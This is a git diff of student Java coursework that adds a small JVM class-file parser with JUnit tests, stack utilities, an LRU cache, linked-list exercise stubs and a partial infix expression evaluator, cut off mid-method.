+		ByteCodeIterator iter=new ByteCodeIterator(codes);
+		
+		String magicNumber=iter.nextU4toString();
+		if(!"cafebabe".equals(magicNumber)){
+			return null;
+		}
+		int minorVersion=iter.nextU2toInt();
+		int majorVersion=iter.nextU2toInt();
+		clf.setMajorVersion(majorVersion);
+		clf.setMinorVersion(minorVersion);
+		ConstantPool pool=parseConstantPool(iter);
+		clf.setConstPool(pool);
+		
+		AccessFlag accessFlag=parseAccessFlag(iter);
+		clf.setAccessFlag(accessFlag);
+		
+		ClassIndex clzIndex=parseClassInfex(iter);
+		clf.setClassIndex(clzIndex);
+		
+		parseInterfaces(iter);
+		parseField(clf,iter);
+		parseMethod(clf,iter);
+		
+		return clf;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		
+		int flag=iter.nextU2toInt();
+		AccessFlag accessFlag=new AccessFlag(flag);
+		return accessFlag;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+		ClassIndex clzIndex=new ClassIndex();
+		int thisClassIndex=iter.nextU2toInt();
+		int superClassIndex=iter.nextU2toInt();
+		clzIndex.setSuperClassIndex(superClassIndex);
+		clzIndex.setThisClassIndex(thisClassIndex);
+		return clzIndex;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		ConstantPool constantPool=new ConstantPool();
+		int poolNum=iter.nextU2toInt();
+		constantPool.addConstantInfo(new NullConstantInfo());
+		for(int i=1;i<poolNum;i++){
+			int tag=iter.nextU1toInt();
+			if(tag==ConstantInfo.CLASS_INFO){
+				ClassInfo classInfo=new ClassInfo(constantPool);
+				int nameIndex=iter.nextU2toInt();
+				classInfo.setUtf8Index(nameIndex);
+				constantPool.addConstantInfo(classInfo);
+			}
+			else if(tag==ConstantInfo.FIELD_INFO){
+				FieldRefInfo field=new FieldRefInfo(constantPool);
+				int classIndex=iter.nextU2toInt();
+				int nameAndTypeIndex=iter.nextU2toInt();
+				field.setClassInfoIndex(classIndex);
+				field.setClassInfoIndex(nameAndTypeIndex);
+				constantPool.addConstantInfo(field);
+			}
+			else if(tag==ConstantInfo.FLOAT_INFO){
+				
+			}
+			else if(tag==ConstantInfo.METHOD_INFO){
+				MethodRefInfo methodInfo=new MethodRefInfo(constantPool);
+				int classIndex=iter.nextU2toInt();
+				int nameAndTypeIndex=iter.nextU2toInt();
+				methodInfo.setClassInfoIndex(classIndex);
+				methodInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				constantPool.addConstantInfo(methodInfo);
+			}
+			else if(tag==ConstantInfo.NAME_AND_TYPE_INFO){
+				NameAndTypeInfo nameAndType=new NameAndTypeInfo(constantPool);
+				int nameIndex=iter.nextU2toInt();
+				int nameAndTypeIndex=iter.nextU2toInt();
+				nameAndType.setIndex1(nameIndex);
+				nameAndType.setIndex2(nameAndTypeIndex);
+				constantPool.addConstantInfo(nameAndType);
+			}
+			else if(tag==ConstantInfo.STRING_INFO){
+				StringInfo stringInfo=new StringInfo(constantPool);
+				int stringIndex=iter.nextU2toInt();
+				stringInfo.setIndex(stringIndex);
+				constantPool.addConstantInfo(stringInfo);
+			}
+			else if(tag==ConstantInfo.UTF8_INFO){
+				UTF8Info utf=new UTF8Info(constantPool);
+				int length=iter.nextU2toInt();
+				byte[] date=iter.getByte(length);
+				String value = null;
+				try {
+					value = new String(date,"UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					// TODO Auto-generated catch block
+					e.printStackTrace();
+				}
+				utf.setLength(length);
+				utf.setValue(value);
+				constantPool.addConstantInfo(utf);
+			}
+			else{
+				new Exception("no find tag");
+			}
+		}
+		return constantPool;
+	}
+	
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2toInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+	
+	private void  parseField(ClassFile clf,ByteCodeIterator iter){
+		int fieldNum=iter.nextU2toInt(); 
+		for(int i=0;i<fieldNum;i++){
+			clf.addField(Field.parse(clf.getConstantPool(), iter));
+		}
+	}
+	private void parseMethod(ClassFile clf,ByteCodeIterator iter){
+		int methodNum=iter.nextU2toInt();
+		for(int i=0;i<methodNum;i++){
+			clf.addMethod(Method.parse(clf, iter));
+		}
+	}
+
+	
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/method/Method.java b/group04/844028312/min-jvm/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..54cc611e6f
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,73 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		Method method=new Method(clzFile,iter.nextU2toInt(),iter.nextU2toInt(),iter.nextU2toInt());
+		int atrrNum=iter.nextU2toInt();
+		for(int i=0;i<atrrNum;i++){
+			String attrName=clzFile.getConstantPool().getUTF8String(iter.nextU2toInt());
+			iter.back(2);
+			if(AttributeInfo.CODE.equals(attrName)){
+				method.setCodeAttr(CodeAttr.parse(clzFile, iter));
+			}
+			else{
+				throw new RuntimeException("only CODE attribute is implemented , please implement the "+ attrName);
+			}
+		}
+		return method;
+		
+	}
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group04/844028312/min-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..722cf93a0b
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,276 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "F:\\workspace\\min-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(51, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+   
+
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group04/844028312/min-jvm/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..019c90d4a3
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/util/Util.java b/group04/844028312/min-jvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group04/844028312/one/src/com/coding/basic/Stack.java b/group04/844028312/one/src/com/coding/basic/Stack.java
index 79733597ca..eeed67bd92 100644
--- a/group04/844028312/one/src/com/coding/basic/Stack.java
+++ b/group04/844028312/one/src/com/coding/basic/Stack.java
@@ -4,20 +4,20 @@ public class Stack {
 	private ArrayList elementData = new ArrayList();
 	
 	public void push(Object o){	
-		elementData.add(o);								//��ջ��ѹ��Ԫ��
+		elementData.add(o);								//��ջ��ѹ��Ԫ��
 	}
 	
 	public Object pop(){
-		Object o=elementData.get(elementData.size()-1);	//ջ��Ԫ�أ���Ϊջ�Ƚ����
-		elementData.remove(elementData.size()-1);		//�Ƴ�ջ��Ԫ��
+		Object o=elementData.get(elementData.size()-1);	//ջ��Ԫ�أ���Ϊջ�Ƚ���
+		elementData.remove(elementData.size()-1);		//�Ƴ�ջ��Ԫ��
 		return o;							
 	}
 	
 	public Object peek(){
-		return elementData.get(elementData.size()-1);   //��ȡջ��Ԫ��
+		return elementData.get(elementData.size()-1);   //��ȡջ��Ԫ��
 	}
 	public boolean isEmpty(){
-		if(elementData.size()==0){			//����elementData.size�ж��Ƿ�Ϊ��
+		if(elementData.size()==0){			//���elementData.size�ж��Ƿ�Ϊ��
 			return true;
 		}
 		return false;
diff --git a/group04/844028312/one/src/com/coding/basic/StackUtil.java b/group04/844028312/one/src/com/coding/basic/StackUtil.java
new file mode 100644
index 0000000000..f46e860603
--- /dev/null
+++ b/group04/844028312/one/src/com/coding/basic/StackUtil.java
@@ -0,0 +1,135 @@
+package com.coding.basic;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		if(isEmpty(s)){
+			return ;
+		}
+		Stack help=new Stack();
+		int size=0;
+		while(!s.isEmpty()){
+			Object o=s.pop();
+			help.push(o);
+			size++;
+		}
+		Object[] o=new Object[size];
+		int i=0;
+		while(!help.isEmpty()){
+			o[i]=help.pop();
+			i++;
+		}
+		for(int j=0;j<o.length;j++){
+			s.push(o[o.length-1-j]);
+		}
+		
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(isEmpty(s)){
+			return ;
+		}
+		Stack help=new Stack();
+		while(!s.isEmpty()){
+			if(s.peek().equals(o)){
+				s.pop();
+			}
+			else{
+				help.push(s.pop());
+			}
+		}
+		while(!help.isEmpty()){
+				s.push(help.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		if(isEmpty(s)){
+			return null;
+		}
+		int size=0;
+		Object[] o=new Object[len];
+		while(!s.isEmpty()){
+			Object en=s.pop();
+			o[size++]=en;
+			if(size==len){
+				break;
+			}
+		}
+		for(int i=0;i<len;i++){
+			if(o[len-i-1]!=null)
+				s.push(o[len-i-1]);
+			
+		}
+		return o;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		char [] c=s.toCharArray();
+		Stack stack=new Stack();
+		for(int i=0;i<c.length;i++){
+			if("(".equals(c[i]+"") || "[".equals(c[i]+"") || "{".equals(c[i]+"")){
+				stack.push(c[i]+"");
+			}
+			else if(")".equals(c[i]+"") || "]".equals(c[i]+"") || "}".equals(c[i]+"")){
+				if(!stack.isEmpty()){
+					if(!stack.pop().equals(opposite(c[i]+""))){
+						return false;
+					}
+				}
+			}
+		}
+		return true;
+	}
+	
+	public static String opposite(String s){
+		if(")".equals(s)){
+			return "(";
+		}
+		else if("]".equals(s)){
+			return "[";
+		}
+		else{
+			return "{";
+		}
+	}
+//	public static int getSize(Stack s){
+//		int size=0;
+//		while(!s.isEmpty()){
+//			s.pop();
+//			size++;
+//		}
+//		return size;
+//	}
+	
+	public static boolean isEmpty(Stack s){
+		if(s==null || s.isEmpty()){
+			return true;
+		}
+		return false;
+	}
+	
+}
diff --git a/group04/844028312/one/src/com/coding/basic/linklist/LRUPageFrame.java b/group04/844028312/one/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..0d305f7b06
--- /dev/null
+++ b/group04/844028312/one/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,127 @@
+package com.coding.basic.linklist;
+
+/**
+ * 用双向链表实现LRU算法
+ * @author liuxin
+ *
+ */
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node(Node prev,Node next,int pageNum) {
+			this.prev=prev;
+			this.next=next;
+			this.pageNum=pageNum;
+		}
+	}
+
+	private int capacity;
+	
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		if(this.first==null){
+			first=new Node(null,null,pageNum);
+			return ;
+		}
+		else{
+			 if(last==null){
+				if(!moveToFirst(pageNum)){ 
+					Node nf=new Node(null,this.first,pageNum);
+					this.first.prev=nf;
+					this.first=nf;
+					//判断是否为最后一个
+					Node cur=this.first;
+					int i=1;
+					while(cur!=null){
+						cur=cur.next;
+						i++;
+						if(i==this.capacity){
+							this.last=cur;
+							break;
+						}
+					}
+				}
+			}
+			else{
+				if(!moveToFirst(pageNum)){
+					Node nf=new Node(null,this.first,pageNum);
+					this.first.prev=nf;
+					this.first=nf;
+					this.last.prev.next=null;
+					this.last=this.last.prev;
+				}
+			}
+		}
+	
+	}
+	public boolean moveToFirst(int pageNum){
+		Node indexOf=indexOf(pageNum);
+		if(indexOf!=null){
+			if(indexOf==this.first){
+				return true;
+			}
+			else if(indexOf==this.last){
+				this.first.prev=indexOf;
+				this.last=indexOf.prev;
+				this.last.next=null;
+				indexOf.next=this.first;
+				this.first=indexOf;
+			}
+			else{
+				indexOf.next.prev=indexOf.prev;  
+				indexOf.prev.next=indexOf.next;
+				this.first.prev=indexOf;
+				indexOf.prev=null;
+				indexOf.next=this.first;
+				this.first=indexOf;
+			}
+			return true;
+		}
+		return false;
+	}
+	public Node indexOf(int pageNum){
+		Node cur=this.first;
+		while(cur!=null){
+			if(cur.pageNum==pageNum){
+				return cur;
+			}
+			cur=cur.next;
+		}
+		return null;
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);	
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+}
diff --git a/group04/844028312/one/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group04/844028312/one/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..67cf36067b
--- /dev/null
+++ b/group04/844028312/one/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,31 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+	}
+
+}
diff --git a/group04/844028312/one/src/com/coding/basic/linklist/LinkedList.java b/group04/844028312/one/src/com/coding/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..f4c7556a2e
--- /dev/null
+++ b/group04/844028312/one/src/com/coding/basic/linklist/LinkedList.java
@@ -0,0 +1,125 @@
+package com.coding.basic.linklist;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group04/844028312/one/src/com/coding/basic/stack/expr/InfixExpr.java b/group04/844028312/one/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..9b30d29928
--- /dev/null
+++ b/group04/844028312/one/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,208 @@
+package com.coding.basic.stack.expr;
+
+import java.util.StringTokenizer;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import com.coding.basic.Stack;
+import com.coding.basic.StackUtil;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {		
+		if(expr==null|| expr.equals("")){
+			return 0.0f;
+		}
+		Stack numStack=new Stack();
+		Stack opoStack=new Stack();
+		int num = 0;
+		StringTokenizer st = new StringTokenizer(expr,"+,-,*,/",true);
+		
+		while(st.hasMoreElements()){
+			String s=(String) st.nextElement();
+			if("+".equals(s) || "*".equals(s) || "-".equals(s)|| "/".equals(s)){
+				if(opoStack.isEmpty()){
+					opoStack.push(s);
+				}
+				else{
+					num=opoPush(opoStack,numStack,s);
+				}
+			}
+			else {
+//				if(num!=0){
+//					Stack temp=new Stack();
+//					while(!numStack.isEmpty()){
+//						temp.push(numStack.pop());
+//					}
+//					String top = null;
+//					String a = null;
+//					int j=0;
+//					while(!temp.isEmpty()){
+//						top=(String) temp.pop();
+//						if(j==num){
+//							a=top;
+//							numStack.push(s);
+//						}
+//						else{
+//							numStack.push(top);
+//						}
+//						j++;
+//					}
+//					numStack.push(a);
+//				}
+//				else{
+//					numStack.push(s);
+//				}
+				numStack.push(s);
+			}
+		}
+		float result = 0;
+		if(!opoStack.isEmpty()){
+			String opoOne=(String) opoStack.pop();
+			String opoTwo=(String) opoStack.pop();
+			opoStack.push(opoTwo);
+			opoStack.push(opoOne);
+			if(("*".equals(opoOne)||"/".equals(opoOne))&&("*".equals(opoTwo)||"/".equals(opoTwo))){
+				
+			}
+			else if("*".equals(opoOne)||"/".equals(opoOne)){
